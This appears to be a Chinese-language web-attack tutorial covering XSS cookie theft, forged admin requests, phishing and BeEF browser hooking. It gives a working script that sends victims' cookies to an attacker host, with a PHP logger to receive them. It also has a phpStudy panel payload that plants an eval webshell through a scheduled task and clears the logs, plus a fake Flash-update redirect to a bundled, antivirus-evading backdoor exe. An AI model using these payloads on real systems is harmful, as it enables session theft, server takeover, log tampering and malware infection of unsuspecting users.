知识点:
1、Web攻防-XSS跨站-手工代码&框架工具&在线平台
2、Web攻防-XSS跨站-Cookie盗取&数据提交&网络钓鱼
演示案例-WEB攻防-XSS跨站-Cookie盗取&数据提交&网络钓鱼&Beef工具
1、XSS跨站-攻击利用-凭据盗取
条件:无防护Cookie凭据获取
利用:XSS平台或手写接受代码
演示:某贷款分配系统存储XSS利用
手工
目标上插入的XSS:
<script>var url='http://xx.xx.xx.xx/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>
攻击者服务器上接受脚本getcookie.php:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
平台:XSSReceiver
简单配置即可使用,无需数据库,无需其他组件支持
搭建:https://github.com/epoch99/BlueLotus_XSSReceiver-master
2、XSS跨站-攻击利用-数据提交
条件:熟悉后台业务功能数据包,利用JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时考虑
演示:小皮面板系统存储XSS提交数据包模拟写入后门文件
参考:blog.csdn.net/RestoreJustice/article/details/129735449
攻击者知道目标网站使用了什么源码,就可以自己本地部署一套同样的源码,在登录本地后台对后台一些业务功能(例如用户创建等)进行操作并截取其数据包,利用JS
写一个模拟提交,当目标执行这个js
就会执行攻击者想要的操作(用户创建等)
攻击者服务器上创建poc1.js,内容为:
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id},function(res2){
$.post('/service/app/log.php?type=clearlog',{},function(res3){},"json");},"json");},"json");
}
function save(){var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');
}
save();
XSS攻击代码:<script src="http://xx.xxx.xxx/poc1.js"></script>
3、XSS跨站-攻击利用-网络钓鱼
项目:https://github.com/r00tSe7en/Fake-flash.cn
1、将后门及正常文件捆绑打包免杀(实战情况下必须要做的部分)
2、部署可访问的钓鱼页面并修改(可以用项目也可以自己手动生成)
3、植入XSS代码等待受害者触发
<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://x.x.x.x/flash.exe'</script>//这里是直接提供了exe下载地址而没有经过钓鱼页面,如果需要经过钓鱼页面再下载exe就是不用指定flash.exe即可location.href='http://x.x.x.x/flash.exe'</script>改为location.href='http://x.x.x.x/'</script>
4、XSS跨站-攻击利用-浏览器控制框架-beef-xss
只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
演示:阿里云 Ubuntu 16.04 x64(按量计费) HK香港服务器
apt update
apt install docker
apt install docker-compose
搭建:docker run --rm -p 3000:3000 janes/beef
访问:http://ip:3000/ui/panel (账号密码:beef/beef)
利用:<script src="http://ip:3000/hook.js"></script>